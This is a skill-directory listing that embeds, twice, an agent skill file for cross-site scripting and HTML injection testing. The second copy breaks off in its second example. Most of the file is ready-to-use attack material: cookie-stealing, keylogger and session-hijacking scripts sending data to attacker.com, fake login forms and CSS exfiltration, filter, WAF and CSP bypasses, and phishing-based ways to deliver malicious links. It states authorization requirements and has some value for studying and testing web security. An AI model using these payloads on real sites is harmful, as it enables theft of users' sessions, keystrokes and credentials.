[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFWTVDQJY82G3FSY1NA1PD":3,"skill-same:01M6AFWTVDQJY82G3FSY1NA1PD":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":63,"repositoryHtmlUrl":64,"repositoryHomepageUrl":65,"ownerHtmlUrl":66,"ownerBlogUrl":67,"ownerDescription":68,"updatedAt":69,"install":70,"resources":83},"01M6AFWTVDQJY82G3FSY1NA1PD","Cross-Site Scripting and HTML Injection Testing",null,"This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33418,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fxss-html-injection\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"testing","scripting","injection","html","html injection testing","Cross Site Scripting and HTML Injection Testing","site","when","for","techniques","attacks","detecting","steal","exploit","applications","xss","cookies","content","web","test","vulnerabilities","security","2026-11-10 10:12:30",false,"---\nname: Cross-Site Scripting and HTML Injection Testing\ndescription: This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cross-Site Scripting and HTML Injection Testing\n\n## Purpose\n\nExecute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Target web application URL with user input fields\n- Burp Suite or browser developer tools for request analysis\n- Access to create test accounts for stored XSS testing\n- Browser with JavaScript console enabled\n\n### Technical Requirements\n- Understanding of JavaScript execution in browser context\n- Knowledge of HTML DOM structure and manipulation\n- Familiarity with HTTP request\u002Fresponse headers\n- Understanding of cookie attributes and session management\n\n### Legal Prerequisites\n- Written authorization for security testing\n- Defined scope including target domains and features\n- Agreement on handling of any captured session data\n- Incident response procedures established\n\n## Outputs \u002F Deliverables\n\n- XSS\u002FHTMLi vulnerability report with severity classifications\n- Proof-of-concept payloads demonstrating impact\n- Session hijacking demonstrations (controlled environment)\n- Remediation recommendations with CSP configurations\n\n## Core Workflow\n\n### Phase 1: Vulnerability Detection\n\n#### Identify Input Reflection Points\nLocate areas where user input is reflected in responses:\n\n```\n# Common injection vectors\n- Search boxes and query parameters\n- User profile fields (name, bio, comments)\n- URL fragments and hash values\n- Error messages displaying user input\n- Form fields with client-side validation only\n- Hidden form fields and parameters\n- HTTP headers (User-Agent, Referer)\n```\n\n#### Basic Detection Testing\nInsert test strings to observe application behavior:\n\n```html\n\u003C!-- Basic reflection test -->\n\u003Ctest123>\n\n\u003C!-- Script tag test -->\n\u003Cscript>alert('XSS')\u003C\u002Fscript>\n\n\u003C!-- Event handler test -->\n\u003Cimg src=x onerror=alert('XSS')>\n\n\u003C!-- SVG-based test -->\n\u003Csvg onload=alert('XSS')>\n\n\u003C!-- Body event test -->\n\u003Cbody onload=alert('XSS')>\n```\n\nMonitor for:\n- Raw HTML reflection without encoding\n- Partial encoding (some characters escaped)\n- JavaScript execution in browser console\n- DOM modifications visible in inspector\n\n#### Determine XSS Type\n\n**Stored XSS Indicators:**\n- Input persists after page refresh\n- Other users see injected content\n- Content stored in database\u002Ffilesystem\n\n**Reflected XSS Indicators:**\n- Input appears only in current response\n- Requires victim to click crafted URL\n- No persistence across sessions\n\n**DOM-Based XSS Indicators:**\n- Input processed by client-side JavaScript\n- Server response doesn't contain payload\n- Exploitation occurs entirely in browser\n\n### Phase 2: Stored XSS Exploitation\n\n#### Identify Storage Locations\nTarget areas with persistent user content:\n\n```\n- Comment sections and forums\n- User profile fields (display name, bio, location)\n- Product reviews and ratings\n- Private messages and chat systems\n- File upload metadata (filename, description)\n- Configuration settings and preferences\n```\n\n#### Craft Persistent Payloads\n\n```html\n\u003C!-- Cookie stealing payload -->\n\u003Cscript>\ndocument.location='http:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie\n\u003C\u002Fscript>\n\n\u003C!-- Keylogger injection -->\n\u003Cscript>\ndocument.onkeypress=function(e){\n  new Image().src='http:\u002F\u002Fattacker.com\u002Flog?k='+e.key;\n}\n\u003C\u002Fscript>\n\n\u003C!-- Session hijacking -->\n\u003Cscript>\nfetch('http:\u002F\u002Fattacker.com\u002Fcapture',{\n  method:'POST',\n  body:JSON.stringify({cookies:document.cookie,url:location.href})\n})\n\u003C\u002Fscript>\n\n\u003C!-- Phishing form injection -->\n\u003Cdiv id=\"login\">\n\u003Ch2>Session Expired - Please Login\u003C\u002Fh2>\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fphish\" method=\"POST\">\nUsername: \u003Cinput name=\"user\">\u003Cbr>\nPassword: \u003Cinput type=\"password\" name=\"pass\">\u003Cbr>\n\u003Cinput type=\"submit\" value=\"Login\">\n\u003C\u002Fform>\n\u003C\u002Fdiv>\n```\n\n### Phase 3: Reflected XSS Exploitation\n\n#### Construct Malicious URLs\nBuild URLs containing XSS payloads:\n\n```\n# Basic reflected payload\nhttps:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# URL-encoded payload\nhttps:\u002F\u002Ftarget.com\u002Fsearch?q=%3Cscript%3Ealert(1)%3C\u002Fscript%3E\n\n# Event handler in parameter\nhttps:\u002F\u002Ftarget.com\u002Fpage?name=\">\u003Cimg src=x onerror=alert(1)>\n\n# Fragment-based (for DOM XSS)\nhttps:\u002F\u002Ftarget.com\u002Fpage#\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n#### Delivery Methods\nTechniques for delivering reflected XSS to victims:\n\n```\n1. Phishing emails with crafted links\n2. Social media message distribution\n3. URL shorteners to obscure payload\n4. QR codes encoding malicious URLs\n5. Redirect chains through trusted domains\n```\n\n### Phase 4: DOM-Based XSS Exploitation\n\n#### Identify Vulnerable Sinks\nLocate JavaScript functions that process user input:\n\n```javascript\n\u002F\u002F Dangerous sinks\ndocument.write()\ndocument.writeln()\nelement.innerHTML\nelement.outerHTML\nelement.insertAdjacentHTML()\neval()\nsetTimeout()\nsetInterval()\nFunction()\nlocation.href\nlocation.assign()\nlocation.replace()\n```\n\n#### Identify Sources\nLocate where user-controlled data enters the application:\n\n```javascript\n\u002F\u002F User-controllable sources\nlocation.hash\nlocation.search\nlocation.href\ndocument.URL\ndocument.referrer\nwindow.name\npostMessage data\nlocalStorage\u002FsessionStorage\n```\n\n#### DOM XSS Payloads\n\n```javascript\n\u002F\u002F Hash-based injection\nhttps:\u002F\u002Ftarget.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n\u002F\u002F URL parameter injection (processed client-side)\nhttps:\u002F\u002Ftarget.com\u002Fpage?default=\u003Cscript>alert(1)\u003C\u002Fscript>\n\n\u002F\u002F PostMessage exploitation\n\u002F\u002F On attacker page:\n\u003Ciframe src=\"https:\u002F\u002Ftarget.com\u002Fvulnerable\">\u003C\u002Fiframe>\n\u003Cscript>\nframes[0].postMessage('\u003Cimg src=x onerror=alert(1)>','*');\n\u003C\u002Fscript>\n```\n\n### Phase 5: HTML Injection Techniques\n\n#### Reflected HTML Injection\nModify page appearance without JavaScript:\n\n```html\n\u003C!-- Content injection -->\n\u003Ch1>SITE HACKED\u003C\u002Fh1>\n\n\u003C!-- Form hijacking -->\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fcapture\">\n\u003Cinput name=\"credentials\" placeholder=\"Enter password\">\n\u003Cbutton>Submit\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003C!-- CSS injection for data exfiltration -->\n\u003Cstyle>\ninput[value^=\"a\"]{background:url(http:\u002F\u002Fattacker.com\u002Fa)}\ninput[value^=\"b\"]{background:url(http:\u002F\u002Fattacker.com\u002Fb)}\n\u003C\u002Fstyle>\n\n\u003C!-- iframe injection -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Fphishing\" style=\"position:absolute;top:0;left:0;width:100%;height:100%\">\u003C\u002Fiframe>\n```\n\n#### Stored HTML Injection\nPersistent content manipulation:\n\n```html\n\u003C!-- Marquee disruption -->\n\u003Cmarquee>Important Security Notice: Your account is compromised!\u003C\u002Fmarquee>\n\n\u003C!-- Style override -->\n\u003Cstyle>body{background:red !important;}\u003C\u002Fstyle>\n\n\u003C!-- Hidden content with CSS -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;\">\nFake login form or misleading content here\n\u003C\u002Fdiv>\n```\n\n### Phase 6: Filter Bypass Techniques\n\n#### Tag and Attribute Variations\n\n```html\n\u003C!-- Case variation -->\n\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>\n\u003CIMG SRC=x ONERROR=alert(1)>\n\n\u003C!-- Alternative tags -->\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody\u002Fonload=alert(1)>\n\u003Cmarquee\u002Fonstart=alert(1)>\n\u003Cdetails\u002Fopen\u002Fontoggle=alert(1)>\n\u003Cvideo>\u003Csource onerror=alert(1)>\n\u003Caudio src=x onerror=alert(1)>\n\n\u003C!-- Malformed tags -->\n\u003Cimg src=x onerror=alert(1)\u002F\u002F\n\u003Cimg \"\"\">\u003Cscript>alert(1)\u003C\u002Fscript>\">\n```\n\n#### Encoding Bypass\n\n```html\n\u003C!-- HTML entity encoding -->\n\u003Cimg src=x onerror=alert(1)>\n\n\u003C!-- Hex encoding -->\n\u003Cimg src=x onerror=alert(1)>\n\n\u003C!-- Unicode encoding -->\n\u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n\u003C!-- Mixed encoding -->\n\u003Cimg src=x onerror=\\u0061\\u006cert(1)>\n```\n\n#### JavaScript Obfuscation\n\n```javascript\n\u002F\u002F String concatenation\n\u003Cscript>eval('al'+'ert(1)')\u003C\u002Fscript>\n\n\u002F\u002F Template literals\n\u003Cscript>alert`1`\u003C\u002Fscript>\n\n\u002F\u002F Constructor execution\n\u003Cscript>[].constructor.constructor('alert(1)')()\u003C\u002Fscript>\n\n\u002F\u002F Base64 encoding\n\u003Cscript>eval(atob('YWxlcnQoMSk='))\u003C\u002Fscript>\n\n\u002F\u002F Without parentheses\n\u003Cscript>alert`1`\u003C\u002Fscript>\n\u003Cscript>throw\u002Fa]a]\u002F.source+onerror=alert\u003C\u002Fscript>\n```\n\n#### Whitespace and Comment Bypass\n\n```html\n\u003C!-- Tab\u002Fnewline insertion -->\n\u003Cimg src=x\tonerror\n=alert(1)>\n\n\u003C!-- JavaScript comments -->\n\u003Cscript>\u002F**\u002Falert(1)\u002F**\u002F\u003C\u002Fscript>\n\n\u003C!-- HTML comments in attributes -->\n\u003Cimg src=x onerror=\"alert(1)\"\u003C!--comment-->\n```\n\n## Quick Reference\n\n### XSS Detection Checklist\n```\n1. Insert \u003Cscript>alert(1)\u003C\u002Fscript> → Check execution\n2. Insert \u003Cimg src=x onerror=alert(1)> → Check event handler\n3. Insert \">\u003Cscript>alert(1)\u003C\u002Fscript> → Test attribute escape\n4. Insert javascript:alert(1) → Test href\u002Fsrc attributes\n5. Check URL hash handling → DOM XSS potential\n```\n\n### Common XSS Payloads\n\n| Context | Payload |\n|---------|---------|\n| HTML body | `\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| HTML attribute | `\">\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| JavaScript string | `';alert(1)\u002F\u002F` |\n| JavaScript template | `${alert(1)}` |\n| URL attribute | `javascript:alert(1)` |\n| CSS context | `\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| SVG context | `\u003Csvg onload=alert(1)>` |\n\n### Cookie Theft Payload\n```javascript\n\u003Cscript>\nnew Image().src='http:\u002F\u002Fattacker.com\u002Fc='+btoa(document.cookie);\n\u003C\u002Fscript>\n```\n\n### Session Hijacking Template\n```javascript\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker.com\u002Flog',{\n  method:'POST',\n  mode:'no-cors',\n  body:JSON.stringify({\n    cookies:document.cookie,\n    localStorage:JSON.stringify(localStorage),\n    url:location.href\n  })\n});\n\u003C\u002Fscript>\n```\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never inject payloads that could damage production systems\n- Limit cookie\u002Fsession capture to demonstration purposes only\n- Avoid payloads that could spread to unintended users (worm behavior)\n- Do not exfiltrate real user data beyond scope requirements\n\n### Technical Limitations\n- Content Security Policy (CSP) may block inline scripts\n- HttpOnly cookies prevent JavaScript access\n- SameSite cookie attributes limit cross-origin attacks\n- Modern frameworks often auto-escape outputs\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Report critical XSS vulnerabilities immediately\n- Handle captured credentials per data protection agreements\n- Do not use discovered vulnerabilities for unauthorized access\n\n## Examples\n\n### Example 1: Stored XSS in Comment Section\n\n**Scenario**: Blog comment feature vulnerable to stored XSS\n\n**Detection**:\n```\nPOST \u002Fapi\u002Fcomments\nContent-Type: application\u002Fjson\n\n{\"body\": \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\", \"postId\": 123}\n```\n\n**Observation**: Comment renders and script executes for all viewers\n\n**Exploitation Payload**:\n```html\n\u003Cscript>\nvar i = new Image();\ni.src = 'https:\u002F\u002Fattacker.com\u002Fsteal?cookie=' + encodeURIComponent(document.cookie);\n\u003C\u002Fscript>\n```\n\n**Result**: Every user viewing the comment has their session cookie sent to attacker's server.\n\n### Example 2: Reflected XSS via Search Parameter\n\n**Scenario**: Search results page reflects query without encoding\n\n**Vulnerable URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=test\n```\n\n**Detection Test**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n```\n\n**Crafted Attack URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=%3Cimg%20src=x%20onerror=%22fetch('https:\u002F\u002Fattacker.com\u002Flog?c='+document.cookie)%22%3E\n```\n\n**Delivery**: URL sent via phishing email to target user.\n\n### Example 3: DOM-Based XSS via Hash Fragment\n\n**Scenario**: JavaScript reads URL hash and inserts into DOM\n\n**Vulnerable Code**:\n```javascript\ndocument.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);\n```\n\n**Attack URL**:\n```\nhttps:\u002F\u002Fapp.example.com\u002Fdashboard#\u003Cimg src=x onerror=alert(document.cookie)>\n```\n\n**Result**: Script executes entirely client-side; payload never touches server.\n\n### Example 4: CSP Bypass via JSONP Endpoint\n\n**Scenario**: Site has CSP but allows trusted CDN\n\n**CSP Header**:\n```\nContent-Security-Policy: script-src 'self' https:\u002F\u002Fcdn.trusted.com\n```\n\n**Bypass**: Find JSONP endpoint on trusted domain:\n```html\n\u003Cscript src=\"https:\u002F\u002Fcdn.trusted.com\u002Fapi\u002Fjsonp?callback=alert\">\u003C\u002Fscript>\n```\n\n**Result**: CSP bypassed using allowed script source.\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |\n| Payload appears but doesn't execute | Break out of attribute context with `\"` or `'`; check if inside comment; test different contexts |\n| Cookies not accessible | Check HttpOnly flag; try localStorage\u002FsessionStorage; use no-cors mode |\n| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |\n| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |\n","# Cross-Site Scripting and HTML Injection Testing\n\n## Purpose\n\nExecute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Target web application URL with user input fields\n- Burp Suite or browser developer tools for request analysis\n- Access to create test accounts for stored XSS testing\n- Browser with JavaScript console enabled\n\n### Technical Requirements\n- Understanding of JavaScript execution in browser context\n- Knowledge of HTML DOM structure and manipulation\n- Familiarity with HTTP request\u002Fresponse headers\n- Understanding of cookie attributes and session management\n\n### Legal Prerequisites\n- Written authorization for security testing\n- Defined scope including target domains and features\n- Agreement on handling of any captured session data\n- Incident response procedures established\n\n## Outputs \u002F Deliverables\n\n- XSS\u002FHTMLi vulnerability report with severity classifications\n- Proof-of-concept payloads demonstrating impact\n- Session hijacking demonstrations (controlled environment)\n- Remediation recommendations with CSP configurations\n\n## Core Workflow\n\n### Phase 1: Vulnerability Detection\n\n#### Identify Input Reflection Points\nLocate areas where user input is reflected in responses:\n\n```\n# Common injection vectors\n- Search boxes and query parameters\n- User profile fields (name, bio, comments)\n- URL fragments and hash values\n- Error messages displaying user input\n- Form fields with client-side validation only\n- Hidden form fields and parameters\n- HTTP headers (User-Agent, Referer)\n```\n\n#### Basic Detection Testing\nInsert test strings to observe application behavior:\n\n```html\n\u003C!-- Basic reflection test -->\n\u003Ctest123>\n\n\u003C!-- Script tag test -->\n\u003Cscript>alert('XSS')\u003C\u002Fscript>\n\n\u003C!-- Event handler test -->\n\u003Cimg src=x onerror=alert('XSS')>\n\n\u003C!-- SVG-based test -->\n\u003Csvg onload=alert('XSS')>\n\n\u003C!-- Body event test -->\n\u003Cbody onload=alert('XSS')>\n```\n\nMonitor for:\n- Raw HTML reflection without encoding\n- Partial encoding (some characters escaped)\n- JavaScript execution in browser console\n- DOM modifications visible in inspector\n\n#### Determine XSS Type\n\n**Stored XSS Indicators:**\n- Input persists after page refresh\n- Other users see injected content\n- Content stored in database\u002Ffilesystem\n\n**Reflected XSS Indicators:**\n- Input appears only in current response\n- Requires victim to click crafted URL\n- No persistence across sessions\n\n**DOM-Based XSS Indicators:**\n- Input processed by client-side JavaScript\n- Server response doesn't contain payload\n- Exploitation occurs entirely in browser\n\n### Phase 2: Stored XSS Exploitation\n\n#### Identify Storage Locations\nTarget areas with persistent user content:\n\n```\n- Comment sections and forums\n- User profile fields (display name, bio, location)\n- Product reviews and ratings\n- Private messages and chat systems\n- File upload metadata (filename, description)\n- Configuration settings and preferences\n```\n\n#### Craft Persistent Payloads\n\n```html\n\u003C!-- Cookie stealing payload -->\n\u003Cscript>\ndocument.location='http:\u002F\u002Fattacker.com\u002Fsteal?c='+document.cookie\n\u003C\u002Fscript>\n\n\u003C!-- Keylogger injection -->\n\u003Cscript>\ndocument.onkeypress=function(e){\n  new Image().src='http:\u002F\u002Fattacker.com\u002Flog?k='+e.key;\n}\n\u003C\u002Fscript>\n\n\u003C!-- Session hijacking -->\n\u003Cscript>\nfetch('http:\u002F\u002Fattacker.com\u002Fcapture',{\n  method:'POST',\n  body:JSON.stringify({cookies:document.cookie,url:location.href})\n})\n\u003C\u002Fscript>\n\n\u003C!-- Phishing form injection -->\n\u003Cdiv id=\"login\">\n\u003Ch2>Session Expired - Please Login\u003C\u002Fh2>\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fphish\" method=\"POST\">\nUsername: \u003Cinput name=\"user\">\u003Cbr>\nPassword: \u003Cinput type=\"password\" name=\"pass\">\u003Cbr>\n\u003Cinput type=\"submit\" value=\"Login\">\n\u003C\u002Fform>\n\u003C\u002Fdiv>\n```\n\n### Phase 3: Reflected XSS Exploitation\n\n#### Construct Malicious URLs\nBuild URLs containing XSS payloads:\n\n```\n# Basic reflected payload\nhttps:\u002F\u002Ftarget.com\u002Fsearch?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\n# URL-encoded payload\nhttps:\u002F\u002Ftarget.com\u002Fsearch?q=%3Cscript%3Ealert(1)%3C\u002Fscript%3E\n\n# Event handler in parameter\nhttps:\u002F\u002Ftarget.com\u002Fpage?name=\">\u003Cimg src=x onerror=alert(1)>\n\n# Fragment-based (for DOM XSS)\nhttps:\u002F\u002Ftarget.com\u002Fpage#\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n#### Delivery Methods\nTechniques for delivering reflected XSS to victims:\n\n```\n1. Phishing emails with crafted links\n2. Social media message distribution\n3. URL shorteners to obscure payload\n4. QR codes encoding malicious URLs\n5. Redirect chains through trusted domains\n```\n\n### Phase 4: DOM-Based XSS Exploitation\n\n#### Identify Vulnerable Sinks\nLocate JavaScript functions that process user input:\n\n```javascript\n\u002F\u002F Dangerous sinks\ndocument.write()\ndocument.writeln()\nelement.innerHTML\nelement.outerHTML\nelement.insertAdjacentHTML()\neval()\nsetTimeout()\nsetInterval()\nFunction()\nlocation.href\nlocation.assign()\nlocation.replace()\n```\n\n#### Identify Sources\nLocate where user-controlled data enters the application:\n\n```javascript\n\u002F\u002F User-controllable sources\nlocation.hash\nlocation.search\nlocation.href\ndocument.URL\ndocument.referrer\nwindow.name\npostMessage data\nlocalStorage\u002FsessionStorage\n```\n\n#### DOM XSS Payloads\n\n```javascript\n\u002F\u002F Hash-based injection\nhttps:\u002F\u002Ftarget.com\u002Fpage#\u003Cimg src=x onerror=alert(1)>\n\n\u002F\u002F URL parameter injection (processed client-side)\nhttps:\u002F\u002Ftarget.com\u002Fpage?default=\u003Cscript>alert(1)\u003C\u002Fscript>\n\n\u002F\u002F PostMessage exploitation\n\u002F\u002F On attacker page:\n\u003Ciframe src=\"https:\u002F\u002Ftarget.com\u002Fvulnerable\">\u003C\u002Fiframe>\n\u003Cscript>\nframes[0].postMessage('\u003Cimg src=x onerror=alert(1)>','*');\n\u003C\u002Fscript>\n```\n\n### Phase 5: HTML Injection Techniques\n\n#### Reflected HTML Injection\nModify page appearance without JavaScript:\n\n```html\n\u003C!-- Content injection -->\n\u003Ch1>SITE HACKED\u003C\u002Fh1>\n\n\u003C!-- Form hijacking -->\n\u003Cform action=\"http:\u002F\u002Fattacker.com\u002Fcapture\">\n\u003Cinput name=\"credentials\" placeholder=\"Enter password\">\n\u003Cbutton>Submit\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003C!-- CSS injection for data exfiltration -->\n\u003Cstyle>\ninput[value^=\"a\"]{background:url(http:\u002F\u002Fattacker.com\u002Fa)}\ninput[value^=\"b\"]{background:url(http:\u002F\u002Fattacker.com\u002Fb)}\n\u003C\u002Fstyle>\n\n\u003C!-- iframe injection -->\n\u003Ciframe src=\"http:\u002F\u002Fattacker.com\u002Fphishing\" style=\"position:absolute;top:0;left:0;width:100%;height:100%\">\u003C\u002Fiframe>\n```\n\n#### Stored HTML Injection\nPersistent content manipulation:\n\n```html\n\u003C!-- Marquee disruption -->\n\u003Cmarquee>Important Security Notice: Your account is compromised!\u003C\u002Fmarquee>\n\n\u003C!-- Style override -->\n\u003Cstyle>body{background:red !important;}\u003C\u002Fstyle>\n\n\u003C!-- Hidden content with CSS -->\n\u003Cdiv style=\"position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;\">\nFake login form or misleading content here\n\u003C\u002Fdiv>\n```\n\n### Phase 6: Filter Bypass Techniques\n\n#### Tag and Attribute Variations\n\n```html\n\u003C!-- Case variation -->\n\u003CScRiPt>alert(1)\u003C\u002FsCrIpT>\n\u003CIMG SRC=x ONERROR=alert(1)>\n\n\u003C!-- Alternative tags -->\n\u003Csvg\u002Fonload=alert(1)>\n\u003Cbody\u002Fonload=alert(1)>\n\u003Cmarquee\u002Fonstart=alert(1)>\n\u003Cdetails\u002Fopen\u002Fontoggle=alert(1)>\n\u003Cvideo>\u003Csource onerror=alert(1)>\n\u003Caudio src=x onerror=alert(1)>\n\n\u003C!-- Malformed tags -->\n\u003Cimg src=x onerror=alert(1)\u002F\u002F\n\u003Cimg \"\"\">\u003Cscript>alert(1)\u003C\u002Fscript>\">\n```\n\n#### Encoding Bypass\n\n```html\n\u003C!-- HTML entity encoding -->\n\u003Cimg src=x onerror=alert(1)>\n\n\u003C!-- Hex encoding -->\n\u003Cimg src=x onerror=alert(1)>\n\n\u003C!-- Unicode encoding -->\n\u003Cscript>\\u0061lert(1)\u003C\u002Fscript>\n\n\u003C!-- Mixed encoding -->\n\u003Cimg src=x onerror=\\u0061\\u006cert(1)>\n```\n\n#### JavaScript Obfuscation\n\n```javascript\n\u002F\u002F String concatenation\n\u003Cscript>eval('al'+'ert(1)')\u003C\u002Fscript>\n\n\u002F\u002F Template literals\n\u003Cscript>alert`1`\u003C\u002Fscript>\n\n\u002F\u002F Constructor execution\n\u003Cscript>[].constructor.constructor('alert(1)')()\u003C\u002Fscript>\n\n\u002F\u002F Base64 encoding\n\u003Cscript>eval(atob('YWxlcnQoMSk='))\u003C\u002Fscript>\n\n\u002F\u002F Without parentheses\n\u003Cscript>alert`1`\u003C\u002Fscript>\n\u003Cscript>throw\u002Fa]a]\u002F.source+onerror=alert\u003C\u002Fscript>\n```\n\n#### Whitespace and Comment Bypass\n\n```html\n\u003C!-- Tab\u002Fnewline insertion -->\n\u003Cimg src=x\tonerror\n=alert(1)>\n\n\u003C!-- JavaScript comments -->\n\u003Cscript>\u002F**\u002Falert(1)\u002F**\u002F\u003C\u002Fscript>\n\n\u003C!-- HTML comments in attributes -->\n\u003Cimg src=x onerror=\"alert(1)\"\u003C!--comment-->\n```\n\n## Quick Reference\n\n### XSS Detection Checklist\n```\n1. Insert \u003Cscript>alert(1)\u003C\u002Fscript> → Check execution\n2. Insert \u003Cimg src=x onerror=alert(1)> → Check event handler\n3. Insert \">\u003Cscript>alert(1)\u003C\u002Fscript> → Test attribute escape\n4. Insert javascript:alert(1) → Test href\u002Fsrc attributes\n5. Check URL hash handling → DOM XSS potential\n```\n\n### Common XSS Payloads\n\n| Context | Payload |\n|---------|---------|\n| HTML body | `\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| HTML attribute | `\">\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| JavaScript string | `';alert(1)\u002F\u002F` |\n| JavaScript template | `${alert(1)}` |\n| URL attribute | `javascript:alert(1)` |\n| CSS context | `\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>` |\n| SVG context | `\u003Csvg onload=alert(1)>` |\n\n### Cookie Theft Payload\n```javascript\n\u003Cscript>\nnew Image().src='http:\u002F\u002Fattacker.com\u002Fc='+btoa(document.cookie);\n\u003C\u002Fscript>\n```\n\n### Session Hijacking Template\n```javascript\n\u003Cscript>\nfetch('https:\u002F\u002Fattacker.com\u002Flog',{\n  method:'POST',\n  mode:'no-cors',\n  body:JSON.stringify({\n    cookies:document.cookie,\n    localStorage:JSON.stringify(localStorage),\n    url:location.href\n  })\n});\n\u003C\u002Fscript>\n```\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never inject payloads that could damage production systems\n- Limit cookie\u002Fsession capture to demonstration purposes only\n- Avoid payloads that could spread to unintended users (worm behavior)\n- Do not exfiltrate real user data beyond scope requirements\n\n### Technical Limitations\n- Content Security Policy (CSP) may block inline scripts\n- HttpOnly cookies prevent JavaScript access\n- SameSite cookie attributes limit cross-origin attacks\n- Modern frameworks often auto-escape outputs\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Report critical XSS vulnerabilities immediately\n- Handle captured credentials per data protection agreements\n- Do not use discovered vulnerabilities for unauthorized access\n\n## Examples\n\n### Example 1: Stored XSS in Comment Section\n\n**Scenario**: Blog comment feature vulnerable to stored XSS\n\n**Detection**:\n```\nPOST \u002Fapi\u002Fcomments\nContent-Type: application\u002Fjson\n\n{\"body\": \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\", \"postId\": 123}\n```\n\n**Observation**: Comment renders and script executes for all viewers\n\n**Exploitation Payload**:\n```html\n\u003Cscript>\nvar i = new Image();\ni.src = 'https:\u002F\u002Fattacker.com\u002Fsteal?cookie=' + encodeURIComponent(document.cookie);\n\u003C\u002Fscript>\n```\n\n**Result**: Every user viewing the comment has their session cookie sent to attacker's server.\n\n### Example 2: Reflected XSS via Search Parameter\n\n**Scenario**: Search results page reflects query without encoding\n\n**Vulnerable URL**:\n```\nhttps:\u002F\u002Fshop.example.com\u002Fsearch?q=test\n```\n\n**Detection 